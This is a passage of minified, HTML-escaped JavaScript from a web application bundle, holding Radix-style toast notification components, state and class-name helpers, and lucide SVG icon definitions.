w=t.style.animationFillMode;t.style.animationFillMode=&quot;forwards&quot;,d=u.setTimeout(()=&gt;{t.style.animationFillMode===&quot;forwards&quot;&amp;&amp;(t.style.animationFillMode=w)})}},p=A=&gt;{A.target===t&amp;&amp;(s.current=H2(n.current))};return t.addEventListener(&quot;animationstart&quot;,p),t.addEventListener(&quot;animationcancel&quot;,h),t.addEventListener(&quot;animationend&quot;,h),()=&gt;{u.clearTimeout(d),t.removeEventListener(&quot;animationstart&quot;,p),t.removeEventListener(&quot;animationcancel&quot;,h),t.removeEventListener(&quot;animationend&quot;,h)}}else c(&quot;ANIMATION_END&quot;)},[t,c]),{isPresent:[&quot;mounted&quot;,&quot;unmountSuspended&quot;].includes(l),ref:I.useCallback(d=&gt;{n.current=d?getComputedStyle(d):null,r(d)},[])}}function H2(e){return e?.animationName||&quot;none&quot;}function kae(e){let t=Object.getOwnPropertyDescriptor(e.props,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning;return r?e.ref:(t=Object.getOwnPropertyDescriptor(e,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning,r?e.props.ref:e.props.ref||e.ref)}var _ae=l4[&quot; useInsertionEffect &quot;.trim().toString()]||zs;function a0({prop:e,defaultProp:t,onChange:r=()=&gt;{},caller:n}){const[i,s,o]=Dae({defaultProp:t,onChange:r}),l=e!==void 0,c=l?e:i;{const u=I.useRef(e!==void 0);I.useEffect(()=&gt;{const h=u.current;h!==l&amp;&amp;console.warn(`${n} is changing from ${h?&quot;controlled&quot;:&quot;uncontrolled&quot;} to ${l?&quot;controlled&quot;:&quot;uncontrolled&quot;}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),u.current=l},[l,n])}const d=I.useCallback(u=&gt;{if(l){const h=Tae(u)?u(e):u;h!==e&amp;&amp;o.current?.(h)}else s(u)},[l,e,s,o]);return[c,d]}function Dae({defaultProp:e,onChange:t}){const[r,n]=I.useState(e),i=I.useRef(r),s=I.useRef(t);return _ae(()=&gt;{s.current=t},[t]),I.useEffect(()=&gt;{i.current!==r&amp;&amp;(s.current?.(r),i.current=r)},[r,i]),[r,n,s]}function Tae(e){return typeof e==&quot;function&quot;}var GO=Object.freeze({position:&quot;absolute&quot;,border:0,width:1,height:1,padding:0,margin:-1,overflow:&quot;hidden&quot;,clip:&quot;rect(0, 0, 0, 0)&quot;,whiteSpace:&quot;nowrap&quot;,wordWrap:&quot;normal&quot;}),Rae=&quot;VisuallyHidden&quot;,u4=I.forwardRef((e,t)=&gt;a.jsx(an.span,{...e,ref:t,style:{...GO,...e.style}}));u4.displayName=Rae;var Pae=u4,R6=&quot;ToastProvider&quot;,[P6,Qae,Fae]=Kv(&quot;Toast&quot;),[VO]=Sc(&quot;Toast&quot;,[Fae]),[Oae,d4]=VO(R6),WO=e=&gt;{const{__scopeToast:t,label:r=&quot;Notification&quot;,duration:n=5e3,swipeDirection:i=&quot;right&quot;,swipeThreshold:s=50,children:o}=e,[l,c]=I.useState(null),[d,u]=I.useState(0),h=I.useRef(!1),p=I.useRef(!1);return r.trim()||console.error(`Invalid prop \`label\` supplied to \`${R6}\`. Expected non-empty \`string\`.`),a.jsx(P6.Provider,{scope:t,children:a.jsx(Oae,{scope:t,label:r,duration:n,swipeDirection:i,swipeThreshold:s,toastCount:d,viewport:l,onViewportChange:c,onToastAdd:I.useCallback(()=&gt;u(A=&gt;A+1),[]),onToastRemove:I.useCallback(()=&gt;u(A=&gt;A-1),[]),isFocusedToastEscapeKeyDownRef:h,isClosePausedRef:p,children:o})})};WO.displayName=R6;var KO=&quot;ToastViewport&quot;,Lae=[&quot;F8&quot;],V3=&quot;toast.viewportPause&quot;,W3=&quot;toast.viewportResume&quot;,YO=I.forwardRef((e,t)=&gt;{const{__scopeToast:r,hotkey:n=Lae,label:i=&quot;Notifications ({hotkey})&quot;,...s}=e,o=d4(KO,r),l=Qae(r),c=I.useRef(null),d=I.useRef(null),u=I.useRef(null),h=I.useRef(null),p=ri(t,h,o.onViewportChange),A=n.join(&quot;+&quot;).replace(/Key/g,&quot;&quot;).replace(/Digit/g,&quot;&quot;),y=o.toastCount&gt;0;I.useEffect(()=&gt;{const w=j=&gt;{n.length!==0&amp;&amp;n.every(S=&gt;j[S]||j.code===S)&amp;&amp;h.current?.focus()};return document.addEventListener(&quot;keydown&quot;,w),()=&gt;document.removeEventListener(&quot;keydown&quot;,w)},[n]),I.useEffect(()=&gt;{const w=c.current,j=h.current;if(y&amp;&amp;w&amp;&amp;j){const E=()=&gt;{if(!o.isClosePausedRef.current){const Q=new CustomEvent(V3);j.dispatchEvent(Q),o.isClosePausedRef.current=!0}},S=()=&gt;{if(o.isClosePausedRef.current){const Q=new CustomEvent(W3);j.dispatchEvent(Q),o.isClosePausedRef.current=!1}},_=Q=&gt;{!w.contains(Q.relatedTarget)&amp;&amp;S()},C=()=&gt;{w.contains(document.activeElement)||S()};return w.addEventListener(&quot;focusin&quot;,E),w.addEventListener(&quot;focusout&quot;,_),w.addEventListener(&quot;pointermove&quot;,E),w.addEventListener(&quot;pointerleave&quot;,C),window.addEventListener(&quot;blur&quot;,E),window.addEventListener(&quot;focus&quot;,S),()=&gt;{w.removeEventListener(&quot;focusin&quot;,E),w.removeEventListener(&quot;focusout&quot;,_),w.removeEventListener(&quot;pointermove&quot;,E),w.removeEventListener(&quot;pointerleave&quot;,C),window.removeEventListener(&quot;blur&quot;,E),window.removeEventListener(&quot;focus&quot;,S)}}},[y,o.isClosePausedRef]);const v=I.useCallback(({tabbingDirection:w})=&gt;{const E=l().map(S=&gt;{const _=S.ref.current,C=[_,...Jae(_)];return w===&quot;forwards&quot;?C:C.reverse()});return(w===&quot;forwards&quot;?E.reverse():E).flat()},[l]);return I.useEffect(()=&gt;{const w=h.current;if(w){const j=E=&gt;{const S=E.altKey||E.ctrlKey||E.metaKey;if(E.key===&quot;Tab&quot;&amp;&amp;!S){const C=document.activeElement,Q=E.shiftKey;if(E.target===w&amp;&amp;Q){d.current?.focus();return}const M=v({tabbingDirection:Q?&quot;backwards&quot;:&quot;forwards&quot;}),O=M.findIndex($=&gt;$===C);dI(M.slice(O+1))?E.preventDefault():Q?d.current?.focus():u.current?.focus()}};return w.addEventListener(&quot;keydown&quot;,j),()=&gt;w.removeEventListener(&quot;keydown&quot;,j)}},[l,v]),a.jsxs(jae,{ref:c,role:&quot;region&quot;,&quot;aria-label&quot;:i.replace(&quot;{hotkey}&quot;,A),tabIndex:-1,style:{pointerEvents:y?void 0:&quot;none&quot;},children:[y&amp;&amp;a.jsx(K3,{ref:d,onFocusFromOutsideViewport:()=&gt;{const w=v({tabbingDirection:&quot;forwards&quot;});dI(w)}}),a.jsx(P6.Slot,{scope:r,children:a.jsx(an.ol,{tabIndex:-1,...s,ref:p})}),y&amp;&amp;a.jsx(K3,{ref:u,onFocusFromOutsideViewport:()=&gt;{const w=v({tabbingDirection:&quot;backwards&quot;});dI(w)}})]})});YO.displayName=KO;var ZO=&quot;ToastFocusProxy&quot;,K3=I.forwardRef((e,t)=&gt;{const{__scopeToast:r,onFocusFromOutsideViewport:n,...i}=e,s=d4(ZO,r);return a.jsx(u4,{tabIndex:0,...i,ref:t,style:{position:&quot;fixed&quot;},onFocus:o=&gt;{const l=o.relatedTarget;!s.viewport?.contains(l)&amp;&amp;n()}})});K3.displayName=ZO;var Zv=&quot;Toast&quot;,Mae=&quot;toast.swipeStart&quot;,Uae=&quot;toast.swipeMove&quot;,zae=&quot;toast.swipeCancel&quot;,$ae=&quot;toast.swipeEnd&quot;,JO=I.forwardRef((e,t)=&gt;{const{forceMount:r,open:n,defaultOpen:i,onOpenChange:s,...o}=e,[l,c]=a0({prop:n,defaultProp:i??!0,onChange:s,caller:Zv});return a.jsx(hu,{present:r||l,children:a.jsx(Gae,{open:l,...o,ref:t,onClose:()=&gt;c(!1),onPause:ql(e.onPause),onResume:ql(e.onResume),onSwipeStart:yr(e.onSwipeStart,d=&gt;{d.currentTarget.setAttribute(&quot;data-swipe&quot;,&quot;start&quot;)}),onSwipeMove:yr(e.onSwipeMove,d=&gt;{const{x:u,y:h}=d.detail.delta;d.currentTarget.setAttribute(&quot;data-swipe&quot;,&quot;move&quot;),d.currentTarget.style.setProperty(&quot;--radix-toast-swipe-move-x&quot;,`${u}px`),d.currentTarget.style.setProperty(&quot;--radix-toast-swipe-move-y&quot;,`${h}px`)}),onSwipeCancel:yr(e.onSwipeCancel,d=&gt;{d.currentTarget.setAttribute(&quot;data-swipe&quot;,&quot;cancel&quot;),d.currentTarget.style.removeProperty(&quot;--radix-toast-swipe-move-x&quot;),d.currentTarget.style.removeProperty(&quot;--radix-toast-swipe-move-y&quot;),d.currentTarget.style.removeProperty(&quot;--radix-toast-swipe-end-x&quot;),d.currentTarget.style.removeProperty(&quot;--radix-toast-swipe-end-y&quot;)}),onSwipeEnd:yr(e.onSwipeEnd,d=&gt;{const{x:u,y:h}=d.detail.delta;d.currentTarget.setAttribute(&quot;data-swipe&quot;,&quot;end&quot;),d.currentTarget.style.removeProperty(&quot;--radix-toast-swipe-move-x&quot;),d.currentTarget.style.removeProperty(&quot;--radix-toast-swipe-move-y&quot;),d.currentTarget.style.setProperty(&quot;--radix-toast-swipe-end-x&quot;,`${u}px`),d.currentTarget.style.setProperty(&quot;--radix-toast-swipe-end-y&quot;,`${h}px`),c(!1)})})})});JO.displayName=Zv;var[Hae,qae]=VO(Zv,{onClose(){}}),Gae=I.forwardRef((e,t)=&gt;{const{__scopeToast:r,type:n=&quot;foreground&quot;,duration:i,open:s,onClose:o,onEscapeKeyDown:l,onPause:c,onResume:d,onSwipeStart:u,onSwipeMove:h,onSwipeCancel:p,onSwipeEnd:A,...y}=e,v=d4(Zv,r),[w,j]=I.useState(null),E=ri(t,X=&gt;j(X)),S=I.useRef(null),_=I.useRef(null),C=i||v.duration,Q=I.useRef(0),R=I.useRef(C),T=I.useRef(0),{onToastAdd:M,onToastRemove:O}=v,$=ql(()=&gt;{w?.contains(document.activeElement)&amp;&amp;v.viewport?.focus(),o()}),P=I.useCallback(X=&gt;{!X||X===1/0||(window.clearTimeout(T.current),Q.current=new Date().getTime(),T.current=window.setTimeout($,X))},[$]);I.useEffect(()=&gt;{const X=v.viewport;if(X){const W=()=&gt;{P(R.current),d?.()},G=()=&gt;{const J=new Date().getTime()-Q.current;R.current=R.current-J,window.clearTimeout(T.current),c?.()};return X.addEventListener(V3,G),X.addEventListener(W3,W),()=&gt;{X.removeEventListener(V3,G),X.removeEventListener(W3,W)}}},[v.viewport,C,c,d,P]),I.useEffect(()=&gt;{s&amp;&amp;!v.isClosePausedRef.current&amp;&amp;P(C)},[s,C,v.isClosePausedRef,P]),I.useEffect(()=&gt;(M(),()=&gt;O()),[M,O]);const L=I.useMemo(()=&gt;w?aL(w):null,[w]);return v.viewport?a.jsxs(a.Fragment,{children:[L&amp;&amp;a.jsx(Vae,{__scopeToast:r,role:&quot;status&quot;,&quot;aria-live&quot;:n===&quot;foreground&quot;?&quot;assertive&quot;:&quot;polite&quot;,children:L}),a.jsx(Hae,{scope:r,onClose:$,children:L1.createPortal(a.jsx(P6.ItemSlot,{scope:r,children:a.jsx(Iae,{asChild:!0,onEscapeKeyDown:yr(l,()=&gt;{v.isFocusedToastEscapeKeyDownRef.current||$(),v.isFocusedToastEscapeKeyDownRef.current=!1}),children:a.jsx(an.li,{tabIndex:0,&quot;data-state&quot;:s?&quot;open&quot;:&quot;closed&quot;,&quot;data-swipe-direction&quot;:v.swipeDirection,...y,ref:E,style:{userSelect:&quot;none&quot;,touchAction:&quot;none&quot;,...e.style},onKeyDown:yr(e.onKeyDown,X=&gt;{X.key===&quot;Escape&quot;&amp;&amp;(l?.(X.nativeEvent),X.nativeEvent.defaultPrevented||(v.isFocusedToastEscapeKeyDownRef.current=!0,$()))}),onPointerDown:yr(e.onPointerDown,X=&gt;{X.button===0&amp;&amp;(S.current={x:X.clientX,y:X.clientY})}),onPointerMove:yr(e.onPointerMove,X=&gt;{if(!S.current)return;const W=X.clientX-S.current.x,G=X.clientY-S.current.y,J=!!_.current,q=[&quot;left&quot;,&quot;right&quot;].includes(v.swipeDirection),ee=[&quot;left&quot;,&quot;up&quot;].includes(v.swipeDirection)?Math.min:Math.max,ne=q?ee(0,W):0,V=q?0:ee(0,G),ue=X.pointerType===&quot;touch&quot;?10:2,de={x:ne,y:V},xe={originalEvent:X,delta:de};J?(_.current=de,q2(Uae,h,xe,{discrete:!1})):QD(de,v.swipeDirection,ue)?(_.current=de,q2(Mae,u,xe,{discrete:!1}),X.target.setPointerCapture(X.pointerId)):(Math.abs(W)&gt;ue||Math.abs(G)&gt;ue)&amp;&amp;(S.current=null)}),onPointerUp:yr(e.onPointerUp,X=&gt;{const W=_.current,G=X.target;if(G.hasPointerCapture(X.pointerId)&amp;&amp;G.releasePointerCapture(X.pointerId),_.current=null,S.current=null,W){const J=X.currentTarget,q={originalEvent:X,delta:W};QD(W,v.swipeDirection,v.swipeThreshold)?q2($ae,A,q,{discrete:!0}):q2(zae,p,q,{discrete:!0}),J.addEventListener(&quot;click&quot;,ee=&gt;ee.preventDefault(),{once:!0})}})})})}),v.viewport)})]}):null}),Vae=e=&gt;{const{__scopeToast:t,children:r,...n}=e,i=d4(Zv,t),[s,o]=I.useState(!1),[l,c]=I.useState(!1);return Yae(()=&gt;o(!0)),I.useEffect(()=&gt;{const d=window.setTimeout(()=&gt;c(!0),1e3);return()=&gt;window.clearTimeout(d)},[]),l?null:a.jsx(Yv,{asChild:!0,children:a.jsx(u4,{...n,children:s&amp;&amp;a.jsxs(a.Fragment,{children:[i.label,&quot; &quot;,r]})})})},Wae=&quot;ToastTitle&quot;,XO=I.forwardRef((e,t)=&gt;{const{__scopeToast:r,...n}=e;return a.jsx(an.div,{...n,ref:t})});XO.displayName=Wae;var Kae=&quot;ToastDescription&quot;,eL=I.forwardRef((e,t)=&gt;{const{__scopeToast:r,...n}=e;return a.jsx(an.div,{...n,ref:t})});eL.displayName=Kae;var tL=&quot;ToastAction&quot;,rL=I.forwardRef((e,t)=&gt;{const{altText:r,...n}=e;return r.trim()?a.jsx(iL,{altText:r,asChild:!0,children:a.jsx(Q6,{...n,ref:t})}):(console.error(`Invalid prop \`altText\` supplied to \`${tL}\`. Expected non-empty \`string\`.`),null)});rL.displayName=tL;var nL=&quot;ToastClose&quot;,Q6=I.forwardRef((e,t)=&gt;{const{__scopeToast:r,...n}=e,i=qae(nL,r);return a.jsx(iL,{asChild:!0,children:a.jsx(an.button,{type:&quot;button&quot;,...n,ref:t,onClick:yr(e.onClick,i.onClose)})})});Q6.displayName=nL;var iL=I.forwardRef((e,t)=&gt;{const{__scopeToast:r,altText:n,...i}=e;return a.jsx(an.div,{&quot;data-radix-toast-announce-exclude&quot;:&quot;&quot;,&quot;data-radix-toast-announce-alt&quot;:n||void 0,...i,ref:t})});function aL(e){const t=[];return Array.from(e.childNodes).forEach(n=&gt;{if(n.nodeType===n.TEXT_NODE&amp;&amp;n.textContent&amp;&amp;t.push(n.textContent),Zae(n)){const i=n.ariaHidden||n.hidden||n.style.display===&quot;none&quot;,s=n.dataset.radixToastAnnounceExclude===&quot;&quot;;if(!i)if(s){const o=n.dataset.radixToastAnnounceAlt;o&amp;&amp;t.push(o)}else t.push(...aL(n))}}),t}function q2(e,t,r,{discrete:n}){const i=r.originalEvent.currentTarget,s=new CustomEvent(e,{bubbles:!0,cancelable:!0,detail:r});t&amp;&amp;i.addEventListener(e,t,{once:!0}),n?T6(i,s):i.dispatchEvent(s)}var QD=(e,t,r=0)=&gt;{const n=Math.abs(e.x),i=Math.abs(e.y),s=n&gt;i;return t===&quot;left&quot;||t===&quot;right&quot;?s&amp;&amp;n&gt;r:!s&amp;&amp;i&gt;r};function Yae(e=()=&gt;{}){const t=ql(e);zs(()=&gt;{let r=0,n=0;return r=window.requestAnimationFrame(()=&gt;n=window.requestAnimationFrame(t)),()=&gt;{window.cancelAnimationFrame(r),window.cancelAnimationFrame(n)}},[t])}function Zae(e){return e.nodeType===e.ELEMENT_NODE}function Jae(e){const t=[],r=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:n=&gt;{const i=n.tagName===&quot;INPUT&quot;&amp;&amp;n.type===&quot;hidden&quot;;return n.disabled||n.hidden||i?NodeFilter.FILTER_SKIP:n.tabIndex&gt;=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;r.nextNode();)t.push(r.currentNode);return t}function dI(e){const t=document.activeElement;return e.some(r=&gt;r===t?!0:(r.focus(),document.activeElement!==t))}var Xae=WO,sL=YO,oL=JO,lL=XO,cL=eL,uL=rL,dL=Q6;function fL(e){var t,r,n=&quot;&quot;;if(typeof e==&quot;string&quot;||typeof e==&quot;number&quot;)n+=e;else if(typeof e==&quot;object&quot;)if(Array.isArray(e)){var i=e.length;for(t=0;t&lt;i;t++)e[t]&amp;&amp;(r=fL(e[t]))&amp;&amp;(n&amp;&amp;(n+=&quot; &quot;),n+=r)}else for(r in e)e[r]&amp;&amp;(n&amp;&amp;(n+=&quot; &quot;),n+=r);return n}function hL(){for(var e,t,r=0,n=&quot;&quot;,i=arguments.length;r&lt;i;r++)(e=arguments[r])&amp;&amp;(t=fL(e))&amp;&amp;(n&amp;&amp;(n+=&quot; &quot;),n+=t);return n}const FD=e=&gt;typeof e==&quot;boolean&quot;?`${e}`:e===0?&quot;0&quot;:e,OD=hL,Dg=(e,t)=&gt;r=&gt;{var n;if(t?.variants==null)return OD(e,r?.class,r?.className);const{variants:i,defaultVariants:s}=t,o=Object.keys(i).map(d=&gt;{const u=r?.[d],h=s?.[d];if(u===null)return null;const p=FD(u)||FD(h);return i[d][p]}),l=r&amp;&amp;Object.entries(r).reduce((d,u)=&gt;{let[h,p]=u;return p===void 0||(d[h]=p),d},{}),c=t==null||(n=t.compoundVariants)===null||n===void 0?void 0:n.reduce((d,u)=&gt;{let{class:h,className:p,...A}=u;return Object.entries(A).every(y=&gt;{let[v,w]=y;return Array.isArray(w)?w.includes({...s,...l}[v]):{...s,...l}[v]===w})?[...d,h,p]:d},[]);return OD(e,o,c,r?.class,r?.className)};const ese=e=&gt;e.replace(/([a-z0-9])([A-Z])/g,&quot;$1-$2&quot;).toLowerCase(),mL=(...e)=&gt;e.filter((t,r,n)=&gt;!!t&amp;&amp;t.trim()!==&quot;&quot;&amp;&amp;n.indexOf(t)===r).join(&quot; &quot;).trim();var tse={xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:24,height:24,viewBox:&quot;0 0 24 24&quot;,fill:&quot;none&quot;,stroke:&quot;currentColor&quot;,strokeWidth:2,strokeLinecap:&quot;round&quot;,strokeLinejoin:&quot;round&quot;};const rse=I.forwardRef(({color:e=&quot;currentColor&quot;,size:t=24,strokeWidth:r=2,absoluteStrokeWidth:n,className:i=&quot;&quot;,children:s,iconNode:o,...l},c)=&gt;I.createElement(&quot;svg&quot;,{ref:c,...tse,width:t,height:t,stroke:e,strokeWidth:n?Number(r)*24/Number(t):r,className:mL(&quot;lucide&quot;,i),...l},[...o.map(([d,u])=&gt;I.createElement(d,u)),...Array.isArray(s)?s:[s]]));const Zt=(e,t)=&gt;{const r=I.forwardRef(({className:n,...i},s)=&gt;I.createElement(rse,{ref:s,iconNode:t,className:mL(`lucide-${ese(e)}`,n),...i}));return r.displayName=`${e}`,r};const nse=Zt(&quot;Activity&quot;,[[&quot;path&quot;,{d:&quot;M22 12h-2.48a2 2 0 0 0-1.93 1.46l-2.35 8.36a.25.25 0 0 1-.48 0L9.24 2.18a.25.25 0 0 0-.48 0l-2.35 8.36A2 2 0 0 1 4.49 12H2&quot;,key:&quot;169zse&quot;}]]);const ise=Zt(&quot;Archive&quot;,[[&quot;rect&quot;,{width:&quot;20&quot;,height:&quot;5&quot;,x:&quot;2&quot;,y:&quot;3&quot;,rx:&quot;1&quot;,key:&quot;1wp1u1&quot;}],[&quot;path&quot;,{d:&quot;M4 8v11a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8&quot;,key:&quot;1s80jp&quot;}],[&quot;path&quot;,{d:&quot;M10 12h4&quot;,key:&quot;a56b0p&quot;}]]);const ase=Zt(&quot;ArrowDownRight&quot;,[[&quot;path&quot;,{d:&quot;m7 7 10 10&quot;,key:&quot;1fmybs&quot;}],[&quot;path&quot;,{d:&quot;M17 7v10H7&quot;,key:&quot;6fjiku&quot;}]]);const sse=Zt(&quot;ArrowDown&quot;,[[&quot;path&quot;,{d:&quot;M12 5v14&quot;,key:&quot;s699le&quot;}],[&quot;path&quot;,{d:&quot;m19 12-7 7-7-7&quot;,key:&quot;1idqje&quot;}]]);const iu=Zt(&quot;ArrowLeft&quot;,[[&quot;path&quot;,{d:&quot;m12 19-7-7 7-7&quot;,key:&quot;1l729n&quot;}],[&quot;path&quot;,{d:&quot;M19 12H5&quot;,key:&quot;x3x0zl&quot;}]]);const ov=Zt(&quot;ArrowRight&quot;,[[&quot;path&quot;,{d:&quot;M5 12h14&quot;,key:&quot;1ays0h&quot;}],[&quot;path&quot;,{d:&quot;m12 5 7 7-7 7&quot;,key:&quot;xquz4c&quot;}]]);const ose=Zt(&quot;ArrowUpRight&quot;,[[&quot;path&quot;,{d:&quot;M7 7h10v10&quot;,key:&quot;1tivn9&quot;}],[&quot;path&quot;,{d:&quot;M7 17 17 7&quot;,key:&quot;1vkiza&quot;}]]);const lse=Zt(&quot;ArrowUp&quot;,[[&quot;path&quot;,{d:&quot;m5 12 7-7 7 7&quot;,key:&quot;hav0vg&quot;}],[&quot;path&quot;,{d:&quot;M12 19V5&quot;,key:&quot;x0mq9r&quot;}]]);const LD=Zt(&quot;Bell&quot;,[[&quot;path&quot;,{d:&quot;M6 8a6 6 0 0 1 12 0c0 7 3 9 3 9H3s3-2 3-9&quot;,key:&quot;1qo2s2&quot;}],[&quot;path&quot;,{d:&quot;M10.3 21a1.94 1.94 0 0 0 3.4 0&quot;,key:&quot;qgo35s&quot;}]]);const Wf=Zt(&quot;BookOpen&quot;,[[&quot;path&quot;,{d:&quot;M12 7v14&quot;,key:&quot;1akyts&quot;}],[&quot;path&quot;,{d:&quot;M3 18a1 1 0 0 1-1-1V4a1 1 0 0 1 1-1h5a4 4 0 0 1 4 4 4 4 0 0 1 4-4h5a1 1 0 0 1 1 1v13a1 1 0 0 1-1 1h-6a3 3 0 0 0-3 3 3 3 0 0 0-3-3z&quot;,key:&quot;ruj8y&quot;}]]);const dm=Zt(&quot;Building2&quot;,[[&quot;path&quot;,{d:&quot;M6 22V4a2 2 0 0 1 2-2h8a2 2 0 0 1 2 2v18Z&quot;,key:&quot;1b4qmf&quot;}],[&quot;path&quot;,{d:&quot;M6 12H4a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h2&quot;,key:&quot;i71pzd&quot;}],[&quot;path&quot;,{d:&quot;M18 9h2a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2h-2&quot;,key:&quot;10jefs&quot;}],[&quot;path&quot;,{d:&quot;M10 6h4&quot;,key:&quot;1itunk&quot;}],[&quot;path&quot;,{d:&quot;M10 10h4&quot;,key:&quot;tcdvrf&quot;}],[&quot;path&quot;,{d:&quot;M10 14h4&quot;,key:&quot;kelpxr&quot;}],[&quot;path&quot;,{d:&quot;M10 18h4&quot;,key:&quot;1ulq68&quot;}]]);const Sl=Zt(&quot;Calendar&quot;,[[&quot;path&quot;,{d:&quot;M8 2v4&quot;,key:&quot;1cmpym&quot;}],[&quot;path&quot;,{d:&quot;M16 2v4&quot;,key:&quot;4m81vk&quot;}],[&quot;rect&quot;,{width:&quot;18&quot;,height:&quot;18&quot;,x:&quot;3&quot;,y:&quot;4&quot;,rx:&quot;2&quot;,key:&quot;1hopcy&quot;}],[&quot;path&quot;,{d:&quot;M3 10h18&quot;,key:&quot;8toen8&quot;}]]);const mo=Zt(&quot;Camera&quot;,[[&quot;path&quot;,{d:&quot;M14.5 4h-5L7 7H4a2 2 0 0 0-2 2v9a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2V9a2 2 0 0 0-2-2h-3l-2.5-3z&quot;,key:&quot;1tc9qg&quot;}],[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;13&quot;,r:&quot;3&quot;,key:&quot;1vg3eu&quot;}]]);const Jv=Zt(&quot;ChartColumn&quot;,[[&quot;path&quot;,{d:&quot;M3 3v16a2 2 0 0 0 2 2h16&quot;,key:&quot;c24i48&quot;}],[&quot;path&quot;,{d:&quot;M18 17V9&quot;,key:&quot;2bz60n&quot;}],[&quot;path&quot;,{d:&quot;M13 17V5&quot;,key:&quot;1frdt8&quot;}],[&quot;path&quot;,{d:&quot;M8 17v-3&quot;,key:&quot;17ska0&quot;}]]);const U0=Zt(&quot;Check&quot;,[[&quot;path&quot;,{d:&quot;M20 6 9 17l-5-5&quot;,key:&quot;1gmf2c&quot;}]]);const F6=Zt(&quot;ChevronDown&quot;,[[&quot;path&quot;,{d:&quot;m6 9 6 6 6-6&quot;,key:&quot;qrunsl&quot;}]]);const cse=Zt(&quot;ChevronRight&quot;,[[&quot;path&quot;,{d:&quot;m9 18 6-6-6-6&quot;,key:&quot;mthhwq&quot;}]]);const use=Zt(&quot;ChevronUp&quot;,[[&quot;path&quot;,{d:&quot;m18 15-6-6-6 6&quot;,key:&quot;153udz&quot;}]]);const Kn=Zt(&quot;CircleAlert&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;10&quot;,key:&quot;1mglay&quot;}],[&quot;line&quot;,{x1:&quot;12&quot;,x2:&quot;12&quot;,y1:&quot;8&quot;,y2:&quot;12&quot;,key:&quot;1pkeuh&quot;}],[&quot;line&quot;,{x1:&quot;12&quot;,x2:&quot;12.01&quot;,y1:&quot;16&quot;,y2:&quot;16&quot;,key:&quot;4dfq90&quot;}]]);const Px=Zt(&quot;CircleCheckBig&quot;,[[&quot;path&quot;,{d:&quot;M21.801 10A10 10 0 1 1 17 3.335&quot;,key:&quot;yps3ct&quot;}],[&quot;path&quot;,{d:&quot;m9 11 3 3L22 4&quot;,key:&quot;1pflzl&quot;}]]);const na=Zt(&quot;CircleCheck&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;10&quot;,key:&quot;1mglay&quot;}],[&quot;path&quot;,{d:&quot;m9 12 2 2 4-4&quot;,key:&quot;dzmm74&quot;}]]);const Gl=Zt(&quot;CircleHelp&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;10&quot;,key:&quot;1mglay&quot;}],[&quot;path&quot;,{d:&quot;M9.09 9a3 3 0 0 1 5.83 1c0 2-3 3-3 3&quot;,key:&quot;1u773s&quot;}],[&quot;path&quot;,{d:&quot;M12 17h.01&quot;,key:&quot;p32p05&quot;}]]);const f4=Zt(&quot;CircleStop&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;10&quot;,key:&quot;1mglay&quot;}],[&quot;rect&quot;,{x:&quot;9&quot;,y:&quot;9&quot;,width:&quot;6&quot;,height:&quot;6&quot;,rx:&quot;1&quot;,key:&quot;1ssd4o&quot;}]]);const U1=Zt(&quot;CircleX&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;10&quot;,key:&quot;1mglay&quot;}],[&quot;path&quot;,{d:&quot;m15 9-6 6&quot;,key:&quot;1uzhvr&quot;}],[&quot;path&quot;,{d:&quot;m9 9 6 6&quot;,key:&quot;z0biqf&quot;}]]);const Tg=Zt(&quot;Circle&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;10&quot;,key:&quot;1mglay&quot;}]]);const Bl=Zt(&quot;Clock&quot;,[[&quot;circle&quot;,{cx:&quot;12&quot;,cy:&quot;12&quot;,r:&quot;10&quot;,key:&quot;1mglay&quot;}],[&quot;polyline&quot;,{points:&quot;12 6 12 12 16 14&quot;,key:&quot;68esgv&quot;}]]);const dse=Zt(&quot;CloudOff&quot;,[[&quot;path&quot;,{d:&quot;m2 2 20 20&quot;,key:&quot;1ooewy&quot;}],[&quot;path&quot;,{d:&quot;M5.782 5.782A7 7 0 0 0 9 19h8.5a4.5 4.5 0 0 0 1.307-.193&quot;,key:&quot;yfwify&quot;}],[&quot;path&quot;,{d:&quot;M21.532 16.5A4.5 4.5 0 0 0 17.5 10h-1.79A7.008 7.008 0 0 0 10 5.07&quot;,key:&quot;jlfiyv&quot;}]]);const lv=Zt(&quot;Cloud&quot;,[[&quot;path&quot;,{d:&quot;M17.5 19H9a7 7 0 1 1 6.71-9h1.79a4.5 4.5 0 1 1 0 9Z&quot;,key:&quot;p7xjir&quot;}]]);const fI=Zt(&quot;Coins&quot;,[[&quot;circle&quot;,{cx:&quot;8&quot;,cy:&quot;8&quot;,r:&quot;6&quot;,key:&quot;3yglwk&quot;}],[&quot;path&quot;,{d:&quot;M18.09 10.37A6 6 0 1 1 10.34 18&quot;,key:&quot;t5s6rm&quot;}],[&quot;path&quot;,{d:&quot;M7 6h1v4&quot;,key:&quot;1obek4&quot;}],[&quot;path&quot;,{d:&quot;m16.71 13.88.7.71-2.82 2.82&quot;,key:&quot;1rbuyh&quot;}]]);const l1=Zt(&quot;DollarSign&quot;,[[&quot;line&quot;,{x1:&quot;12&quot;,x2:&quot;12&quot;,y1:&quot;2&quot;,y2:&quot;22&quot;,key:&quot;7eqyqh&quot;}],[&quot;path&quot;,{d:&quot;M17 5H9.5a3.5 3.5 0 0 0 